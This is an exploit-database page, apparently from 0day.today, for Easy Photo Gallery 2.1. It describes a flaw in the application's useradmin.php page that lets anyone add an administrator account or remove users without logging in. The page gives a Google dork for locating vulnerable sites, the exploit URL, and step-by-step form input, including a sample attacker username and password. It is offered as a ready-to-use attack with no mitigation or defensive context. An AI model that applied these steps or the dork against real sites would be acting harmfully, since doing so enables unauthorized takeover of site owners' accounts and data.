[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Easy Photo Gallery 2.1 Arbitrary Add Admin / remove user Vulnerability

Author
Stack
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3651
Category
web applications
Date add
10-09-2008
Platform
unsorted
======================================================================
Easy Photo Gallery 2.1 Arbitrary Add Admin / remove user Vulnerability
======================================================================



#----------------------------------------------------------------
#
#Script : Ezphotogallery 2.1
#
#Type : Vulnerabilities ( Add Admin user/Remove user)
#
#Google Dork : "100% | 50% | 25%" "Back to gallery" inurl:"show.php?imageid="
#
#----------------------------------------------------------------
#
#Discovered by : Stack
#
#----------------------------------------------------------------
#
#Script Download :  http://heanet.dl.sourceforge.net/sourceforge/ezphotogallery/ezphotogallery-2.1.zip
#
#----------------------------------------------------------------

Exploit :
 http://site.il/useradmin.php
how to use exploit
in Add user select
----------------------------------------
Simple example by Stack user :d :d
----------------------------------------
        Add user
Name:  Stack 
Password: passstack 
Private: yes or no  
Administrator:  yes
now stack username is a administrator user
----------------------------------------
       Remove user
User:  chouse the user and click remove
----------------------------------------



#  0day.today [2024-07-07]  #